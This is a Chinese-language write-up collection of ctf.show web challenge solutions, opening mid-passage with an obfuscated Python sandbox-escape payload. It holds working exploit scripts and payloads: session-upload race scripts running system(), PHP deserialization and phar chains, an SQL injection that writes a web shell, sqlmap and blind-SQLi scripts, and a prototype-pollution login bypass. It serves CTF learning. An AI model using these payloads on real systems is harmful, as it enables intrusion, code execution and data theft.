getattr(getattr(__builtins__%2Cgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(109)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(114)%2Bgetattr(__builtins__%2Ckiword)(116)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95))(getattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(115))%2Cgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(101)%2Bgetattr(__builtins__%2Ckiword)(110))(getattr(__builtins__%2Ckiword)(100)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(114)).read()

# 原谅 6_web3

<?php
error_reporting(0);
highlight_file(__FILE__);
include("waf.php");
$file = $_GET["file"] ?? NULL;
$content = $_POST["content"] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;

做法和 easyshell 的法二一样,包含一个 session_upload_progress 文件

先创建一个 .user.ini 文件,内容写上 auto_prepend_file=/tmp/sess_whoami ,目的是包含后面 session_upload 创建的临时文件

sess_whoami 的大概内容如下

upload_progress_payload|a:5:{s:10:"start_time";i:1709120605;s:14:"content_length";i:51482;s:15:"bytes_processed";i:5259;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"q.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1709120605;s:15:"bytes_processed";i:5259;}}}

然后 post 传文件。在 PHP_SESSION_UPLOAD_PROGRESS 字段上打 payload <?php system("ls");?>

在访问文件的时候,由于 .user.ini 的存在,每个 php 前面会自动 "include" sess_whoami ,从而导致 payload 被解析

import io
import requests
import threading
sessid = "whoami"
def POST(session):
    while True:
        f = io.BytesIO(b"a" * 1024 * 50)
        session.post(
            "http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/",
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php system(\"base64 waf.php\");?>"},
            files={"file": ("q.txt", f)},
            cookies={"PHPSESSID": sessid}
        )
def READ(session):
    while True:
        resp = session.get("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/")
        if "q.txt" in resp.text:
            print(resp.text)
event = threading.Event()
with requests.session() as session:
    payload = {
        "content": "auto_prepend_file=/tmp/sess_" + sessid
    }
    session.post("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/?file=.user.ini", data=payload)
    for i in range(1, 30):
        threading.Thread(target=POST, args=(session,)).start()
    for i in range(1, 30):
        threading.Thread(target=READ, args=(session,)).start()
    event.set()

# fastapi2 for 阿狸

banlist

['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']

这次最后的 kiword] ,没法像前面一样利用 chr 来拼了,只能用 clear 方法

# veryphp

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

让我真正认识到 bp 好用的题,hb 各种打不通

[ 替换为 _ ,正则直接丢 101 里构造就完事了,最后加个五位数爆破

通过 class::func 直接调用类函数

shaw[root=-a9<b>000000000>>>>abcphp@Rsa&ans=21475&my[ans=qwq::oao

# 虎山行

代码审计 MiniCMS 不难发现这个位置 0 过滤 (题目给出的版本没有拼接 .dat )

由于由于拼接了前面的路径,也没法直接 include2shell 直接梭

image-20240328201118119

image-20240402120148807

读根目录下 flag 有提示

image-20240402120747921

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

waf:

<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return $file;
    }
}

对于 readgzfile 函数,可以利用 phar+zlib:phar:// 反序列化直接打

上传点

<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			$md5_unix_random =substr(md5(time()),0,8);
			$filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
		}
	}
}
else
{
	echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

time() 可以从 bp 响应的时间包直接算,免去了爆破

image-20240402134710322

?file=zlib:phar:///var/www/html/upload/ea9bf085.gif

然后看 hint.txt

image-20240402135133891

引导到下一个目录

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

条件竞争就行

由于 (int)md5(time())md5 后的结果又有很大可能是字母开头,导致 int 处理后直接为 0

所以直接死 payload

import threading
import requests
url = """http://50c1f72f-9558-4dde-bfa6-9cc20bb1afdd.challenge.ctf.show/ctfshowgetflaghhhh/?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}"""
def POST(session):
    while True:
        re = session.get(url=url)
def READ(session):
    while True:
        re = session.get(url='http://50c1f72f-9558-4dde-bfa6-9cc20bb1afdd.challenge.ctf.show/flag.txt')
        if "<!-- /install.php -->" not in re.text:
            print(re.text)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session,))
    t1.daemon = True
    t1.start()
    READ(session)

# spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

老点

. +[在中间或中间会被替换_
.在开头会被替换

有个比较抽象的点就是 hackbar 在 raw 模式发送 POST 的时候,会把最后一个参数带上 \n\r ,导致长度对不上

image-20240413205434415

# 有手就行

小程序换了

# 虎山行's revenge

同虎山行

# lastsward's website

弱密码 admin:123456 进后台

随便打个 error 出 tp 版本号 3.2.3 ,这个版本下有 sql 注入

index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==1 or sleep(5)

弹了个 alert,看来输入点就是这里,fuzz 跑一下可用函数

image-20240428172254410

直接 into dumpfile 写 shell

先把名字改了,然后

index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==1 into dumpfile "/var/www/html/shell.php"%23

# eazy-unserialize

<?php
include "mysqlDb.class.php";
class ctfshow{
    public $method;
    public $args;
    public $cursor;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->getCursor();
    }
    function getCursor(){
        global $DEBUG;
        if (!$this->cursor)
            $this->cursor = MySql::getInstance();
        if ($DEBUG) {
            $sql = "DROP TABLE IF  EXISTS  USERINFO";
            $this->cursor->Exec($sql);
            $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
            password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
            $this->cursor->Exec($sql);
            $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
            $this->cursor->Exec($sql);
        }
    }
    function login() {
        list($username, $password) = func_get_args();
        $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
        $obj = $this->cursor->getRow($sql);
        $data = $obj['role'];
        if ( $data != null ) {
            define('Happy', TRUE);
            $this->loadData($data);
        }
        else {
            $this->byebye("sorry!");
        }
    }
    function closeCursor(){
        $this->cursor = MySql::destroyInstance();
    }
    function lookme() {
        highlight_file(__FILE__);
    }
    function loadData($data) {
        if (substr($data, 0, 2) !== 'O:') {
            return unserialize($data);
        }
        return null;
    }
    function __destruct() {
        $this->getCursor();
        if (in_array($this->method, array("login", "lookme"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        else {
            $this->byebye("fuc***** hacker ?");
        }
        $this->closeCursor();
    }
    function byebye($msg) {
        $this->closeCursor();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
}
class Happy{
    public $file='flag.php';
    function __destruct(){
        if(!empty($this->file)) {
            include $this->file;
        }
    }
}
function ezwaf($data){
    if (preg_match("/ctfshow/",$data)){
        die("Hacker !!!");
    }
    return $data;
}
if(isset($_GET["w_a_n"])) {
    @unserialize(ezwaf($_GET["w_a_n"]));
} else {
    new CTFSHOW("lookme", array());
}

直接反序列化 Happy 类,include2shell,但是远程打不通

一步步读

# 迷惑行为大赏之盲注

forgot.php 下有盲注,0 过滤

sqlmap 一把梭

sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" --dbs --hex
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -tables
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -T 15665611612 --columns
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -T 15665611612 -C "what%40you%40want" --dumps

然而 sqlmap 会主动使用时间盲注,太慢了

给出一个布尔盲注脚本,由于中文的缘故,换用了 hex 来拿名

Hex_List = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"]
def get_database_name():
    res = ""
    for i in range(1, 1000):
        max = 15
        min = 0
        mid = (max + min) >> 1
        while max > min:
            payload = (
                f"test' or if(substr(hex("
                f"("
                f"select group_concat(`what@you@want`) from `测试`.`15665611612`"
                f")"
                f"),{i},1) > '{Hex_List[mid]}',1,0);#")
            re = requests.post(url, data={
                "username": payload
            })
            # true
            if "用户存在,但是不允许修改密码 :P" in re.text:
                min = mid + 1
            else:
                max = mid
            mid = (max + min) >> 1
        res = res + Hex_List[mid]
        if res.endswith("0" * 10):
            break
        try:
            print(bytes.fromhex(res).decode(), end="->")
            print(res)
        except:
            pass

# Web 逃离计划

弱密码 admin:admin888 登陆,有个文件读取

image-20240505175958618

有 waf,可以通过伪协议读文件

read 被 ban 了,直接写就行

?file=php://filter/convert.base64-encode/resource=index.php

本地能直接 include2shell,远程被 ban 了

index

<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
    $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
    $login = unserialize($serData);
    $loginStatus = $login->checkStatus();
    if ($loginStatus){
        $_SESSION['login'] = true;
        $_COOKIE['status'] = 0;
    }
    $finish = true;
}
?>

waf

<?php
function get($data)
{
    $data = str_replace('forfun', chr(0) . "*" . chr(0), $data);
    return $data;
}
function checkData($data)
{
    if (stristr($data, 'username') !== False && stristr($data, 'password') !== False) {
        die("fuc**** hacker!!!\n");
    } else {
        return $data;
    }
}
function checkLogData($data)
{
    if (preg_match("/register|magic|PersonalFunction/", $data)) {
        die("fuc**** hacker!!!!\n");
    } else {
        return $data;
    }
}

class

<?php
error_reporting(0);
class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}
class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;
    public function __construct($username,$password,$mobile){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
    }
    public function __toString(){
        return $this->mdPwd->pwd;
    }
}
class magic{
    protected $username;
    public function __get($key){
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }
    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");
    }
}
class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();
    public function __construct($username, $password,$func = "personalData"){
        $this->username = $username;
        $this->password = $password;
        $this->func[$func] = true;
    }
    public function checkFunction(array $funcBars) {
        $retData = null;
        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);
        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){
                    $retData = true;
                }
            }
        }
        return $retData;
    }
    public function doFunction($function){
        // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
        return true;
    }
    public function __destruct(){
        $retData = $this->checkFunction($this->func);
        $this->doFunction($retData);
    }
}

看起来像是变长度反序列化,在 get 中把 forfun 换为 chr(0) . "*" . chr(0)

反序列化链如下

PersonalFunction::__destruct -> register::__toString -> magic::__get -> magic::getFlag

直接构造的如下,其中 register::mdPwdmagic::usernamePersonalFunction::func 都是 protected 属性

O:16:"PersonalFunction":3:{s:11:" * username";s:5:"admin";s:11:" * password";s:8:"admin888";s:7:" * func";a:1:{i:0;O:8:"register":4:{s:11:" * username";s:5:"admin";s:11:" * password";s:8:"admin888";s:9:" * mobile";s:3:"137";s:8:" * mdPwd";O:5:"magic":1:{s:11:" * username";s:5:"admin";}}}}

有三个 waf 需要绕过:
checkData 对 username/password 的过滤可以用 16 进制

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的 s 大写时,会被当成 16 进制解析

checkLogData 则可以用大小写绕过

payload 如下

O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%0070assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}

要想让这段 payload 被成功反序列化,就要用到上面的变长度 get 函数

每有一个 forfun,就会让整体少 3 个字符

修改后的 payload 如下

1";s:12:"%00*%00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}

主要是添加了 ;s:12:"%00*%00pass_word"; ,多添加一个 1" 目的是让要被吞并的变成 3 的倍数,不然吞不下去

最后的 exp

username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";s:12:"%00*%00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}

# 未完成的项目

附件

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var indexRouter = require('./routes/index'); /* 朋友我明天上班请假了,配置我已经给你搞好了,你刚学 nodejs,public 目录下有我给你敲的示例,你跟着敲一下,加点错误逻辑就可以上线了,别忘了删除啊 */
var app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
//app.use('/users', usersRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
    res.json({
        "error": "404"
    })
    next(createError(404));
});
// error handler
module.exports = app;

index.js

var express = require('express');
var router = express.Router();
var db = require('mysql-promise')
const mysql = require( 'mysql' );
const connection = require("mysql");
class Database {
  constructor( config ) {
    this.connection = mysql.createConnection( config );
  }
  query( sql, args ) {
    return new Promise( ( resolve, reject ) => {
      this.connection.query( sql, args, ( err, rows ) => {
        if ( err )
          return reject( err );
        resolve( rows );
      } );
    } );
  }
  close() {
    return new Promise( ( resolve, reject ) => {
      this.connection.end( err => {
        if ( err )
          return reject(err);
        resolve();
      } );
    } );
  }
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
function clone(a) {
  return merge({}, a);
}
router.get('/',function (req,res,next) {
  console.log("index");
  //res.render('index', {title: 'HTML'});
})
/* GET home page. */
router.post('/', function(req, res, next) {
    var body = JSON.parse(JSON.stringify(req.body));
    if (body.host != undefined) {
        return res.json({
            "msg":"fu** hacker!!!"
        })
    }
    var num = 0
    for(i in body){
        num ++;
    }
    if(num!=2){
        return res.json({
            "msg":"fu** hacker!!!"
        })
    }else{
        if(body.username==undefined||body.password==undefined){
            return res.json({
                "msg":"fu** hacker!!!"
            })
        }
    }
    var copybody = clone(body)
    var host = copybody.host == undefined ? "localhost" : copybody.host
    var flag = "123432432432"
    var config = {
      host: host,
      user: 'root',
      password: 'root',
      database: 'users'
    };
    let database=new Database(config);
    var user = copybody.username
    var pass = copybody.password
    function isInValiCode(str) {
        var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
        return reg.test(str);
    }
    if (isInValiCode(user)){
        return res.json({
            "msg":"no hacker!!!"
        })
    }
  let someRows, otherRows;
    database.query( 'select * from user where user= ? and passwd =?', [user,pass] )
      .then( rows => {
        if (1 == rows[0].Id) {
          res.json({
            "msg":flag
          })
        }
      } )
      .then( rows => {
        otherRows = rows;
        return database.close();
      }, err => {
        return database.close().then( () => { throw err; } )
      } )
      .then( () => {
        res.json({
          "error": "err","msg":"user or pass err"
        })
      })
      .catch( err => {
        res.json({
            "error": "err","msg":"user or pass err"
        })
      } )
});
module.exports = router;

里边一个 clone+mergevar body = JSON.parse(JSON.stringify(req.body)); 应该是要打原型链污染

远程打不通,只有本地通了,改改 js

测试了一下,远程没有 password 或者数量不为 2 都可以 pass 到最后 user or pass err

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
function clone(a) {
  return merge({}, a);
}
router.post('/', function(req, res, next) {
    var body = JSON.parse(JSON.stringify(req.body));
    if (body.host != undefined) {
        return res.json({
            "msg":"fu** hacker!!!host"
        })
    }
    var num = 0
    for(i in body){
        num ++;
    }
    if(num!=2){
        return res.json({
            "msg":"fu** hacker!!!num"
        })
    }else{
        if(body.username==undefined||body.password==undefined){
            return res.json({
                "msg":"fu** hacker!!!username+password"
            })
        }
    }
    var copybody = clone(body)
    var host = copybody.host == undefined ? "localhost" : copybody.host
    var user = copybody.username
    var pass = copybody.password
    console.log(host,user,pass)
    function isInValiCode(str) {
        var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
        return reg.test(str);
    }
    if (isInValiCode(user)){
        return res.json({
            "msg":"no hacker!!!"
        })
    }
    return res.json(copybody)
    
});
module.exports = router;

payload

{"username": "admin","__proto__":{"password": " or 1=1;#"}}

image-20240509182341374

# eazy-unserialize-revenge

?w_a_n=O:5:"Happy":1:{s:4:"file";s:22:"../../../../../../flag";}

# 神仙姐姐

burp 爆 sx.php

# 阿拉丁

后端是 node

image-20240512165911921

脑残题

flag第x位?

#

dirsearch 找到 /flag 路径

image-20240512174024875

结合开题 img,进 /菜

# 飘啊飘

hint: 有手 X 就行

换手机 UA 301 到 /mb.html

直接 curl 发包

image-20240513180604246

# Ez_Mysqli

利用的 mysql8 以前对 utf8 的不恰当处理

即 mysql 在 8 以前默认 utf8mb3 使用的是三字节,而正确的应该是 utf8mb4 四字节

当入库查询的时候,可以用一些特殊的字符进行绕过,即

select * from user where id = "a" 等价于 select * from user where id = "à"

遍历整个 utf 表,可以发现大约 1377 条可进行替换

A -> AaÀÁÂÃÄÅàáâãäåĀāĂ㥹ǍǎǞǟǠǡǺǻȀȁȂȃȦȧḀḁẠạẢảẤấẦầẨẩẪẫẬậẮắẰằẲẳẴẵẶặ
B -> BbḂḃḄḅḆḇ

同时限定了 strlen<11

由于这些特殊的字符在 php 的 len 为 2(中文为 3),所以只用替换一两个就行